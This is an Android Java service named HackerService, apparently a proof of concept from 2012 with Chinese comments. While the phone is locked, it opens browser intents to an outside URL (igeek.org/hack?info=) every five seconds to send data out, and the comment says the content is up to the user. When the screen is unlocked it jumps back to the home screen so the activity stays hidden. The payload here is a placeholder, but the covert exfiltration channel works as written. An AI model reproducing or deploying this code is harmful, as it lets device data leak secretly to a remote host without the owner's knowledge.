1 package org.igeek.hack.service;
  2 
  3 import java.util.Random;
  4 import android.app.KeyguardManager;
  5 import android.app.Service;
  6 import android.content.BroadcastReceiver;
  7 import android.content.Context;
  8 import android.content.Intent;
  9 import android.content.IntentFilter;
 10 import android.net.Uri;
 11 import android.os.Handler;
 12 import android.os.IBinder;
 13 import android.util.Log;
 14 
 15 /**
 16  * 
 17  * @author 作者 E-mail:hangxin1940@gmail.com
 18  * @version 創建時間：2012-01-13 下午10:42:11
 19  * 類說明
 20  */
 21 public class HackerService extends Service {
 22     private ScreenOnBroadcastReciver soReciver;
 23     private ScreenOFFBroadcastReciver sfReciver;
 24     private Handler handler;
 25     
 26     final static String LOG_TAG="hack";
 27     KeyguardManager keyguardManager;
 28     Intent it;
 29     
 30     //GET提交地址
 31     final String HACK_URL="http://www.igeek.org/hack?info=";
 32     
 33     
 34     
 35     private Runnable r=new Runnable() {
 36         
 37         @Override
 38         public void run() {
 39             
 40             
 41             //如果是鎖屏狀態
 42             if(keyguardManager.inKeyguardRestrictedInputMode()){
 43                 
 44                 //GET上傳，內容隨你
 45                 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
 46                 
 47                 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
 48                 Uri uri=Uri.parse(HACK_URL+hackInfo);
 49                 it.setData(uri);
 50                 startActivity(it);
 51                 Log.i(LOG_TAG,"提交數據->"+HACK_URL+hackInfo);
 52                 
 53                 //每隔5秒，執行一次上傳
 54                 handler.postDelayed(r, 5000);
 55             }                
 56         }
 57     };
 58     
 59     
 60     
 61     @Override
 62     public void onStart(Intent intent, int startId) {
 63         super.onStart(intent, startId);
 64         
 65         keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
 66         it=new Intent(Intent.ACTION_VIEW);
 67         
 68         handler=new Handler();
 69         
 70         Log.i(LOG_TAG, "開機完成，注冊廣播接收者");
 71         soReciver=new ScreenOnBroadcastReciver();
 72         sfReciver=new ScreenOFFBroadcastReciver();
 73         
 74         IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON"); 
 75         registerReceiver(soReciver, onIntentFilter);  
 76         
 77         IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF"); 
 78         registerReceiver(sfReciver, offIntentFilter);  
 79     }
 80     
 81     
 82     @Override
 83     public IBinder onBind(Intent intent) {
 84         return null;
 85     }
 86     
 87     /**
 88      * 解鎖廣播接收者
 89      * @author hang
 90      *
 91 */
 92     class ScreenOnBroadcastReciver extends BroadcastReceiver {
 93 
 94         @Override
 95         public void onReceive(Context context, Intent intent) {
 96             
 97             Log.i(LOG_TAG, "屏幕解開");
 98             handler.removeCallbacks(r);
 99             intent.setAction(Intent.ACTION_MAIN);  
100             intent.addCategory(Intent.CATEGORY_HOME); 
101             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
102             
103             Log.i(LOG_TAG, "轉向HOME");
104             startActivity(intent);
105             
106         }
107         
108     }
109     
110     /**
111      * 鎖屏廣播接收者
112      * @author hang
113      *
114 */
115     class ScreenOFFBroadcastReciver extends BroadcastReceiver {
116         
117         @Override
118         public void onReceive(final Context context, Intent intent) {
119             
120             
121             
122             Log.i(LOG_TAG, "屏幕鎖住");
123             
124             //500ms后開始執行上傳數據
125             handler.postDelayed(r, 500);
126         }
127         
128     }
129 }